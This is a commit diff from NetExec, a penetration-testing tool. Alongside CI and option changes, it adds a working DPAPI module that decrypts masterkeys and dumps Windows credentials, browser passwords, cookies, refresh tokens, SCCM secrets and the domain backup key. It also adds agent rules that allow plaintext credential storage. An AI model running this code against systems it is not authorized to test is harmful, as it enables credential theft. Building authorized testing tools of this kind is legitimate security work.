Merge branch 'main' into main

This commit is contained in:
Alex authored and GitHub committed 2026-09-20 14:44:25 +02:00
commit 12ebe0d34b
124 files changed
+8666 -3705

No files matched your search

+2 -2
View File
@@ -9,8 +9,8 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+10 -14
View File
@@ -14,20 +14,16 @@ jobs:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
enable-cache: true
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
uv run ruff --version
uv run ruff check . --preview
+1 -1
View File
@@ -1,7 +1,7 @@
name: PR Template Check
on:
pull_request:
pull_request_target:
types: [opened, edited]
permissions:
+19 -28
View File
@@ -14,35 +14,26 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
enable-cache: true
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
+41
View File
@@ -0,0 +1,41 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+7 -6
View File
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
code for platforms or environments you don't have access to manually
test on.
- **Issues and discussions can use AI assistance but must have a full
human-in-the-loop.** This means that any content generated with AI
must have been reviewed _and edited_ by a human before submission.
AI is very good at being overly verbose and including noise that
distracts from the main point. Humans must do their research and
trim this down.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
+1
View File
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+2
View File
@@ -19,6 +19,7 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
@@ -80,6 +81,7 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+3 -1
View File
@@ -30,8 +30,10 @@ def gen_cli_args():
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
+7
View File
@@ -38,6 +38,13 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+14 -7
View File
@@ -14,7 +14,7 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
@@ -148,6 +148,7 @@ class connection:
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
@@ -174,12 +175,14 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -241,9 +244,9 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
@@ -254,7 +257,7 @@ class connection:
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
@@ -334,7 +337,7 @@ class connection:
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
return False
@@ -603,5 +606,9 @@ class connection:
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
self.modules.append(module)
+3
View File
@@ -7,6 +7,9 @@ reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
+7 -4
View File
@@ -204,7 +204,10 @@ class BaseDB:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
@@ -11,9 +11,8 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.network import DPLootConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -61,7 +60,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -69,16 +68,13 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -89,18 +85,18 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path)
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
@@ -147,7 +143,7 @@ class FirefoxTriage:
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -192,7 +188,7 @@ class FirefoxTriage:
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -216,7 +212,7 @@ class FirefoxTriage:
for row in cursor:
try:
a11 = row[0]
a102 = row[1] # noqa: F841
a102 = row[1] # ruff: ignore[unused-variable]
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
@@ -252,17 +248,6 @@ class FirefoxTriage:
self.logger.debug(e)
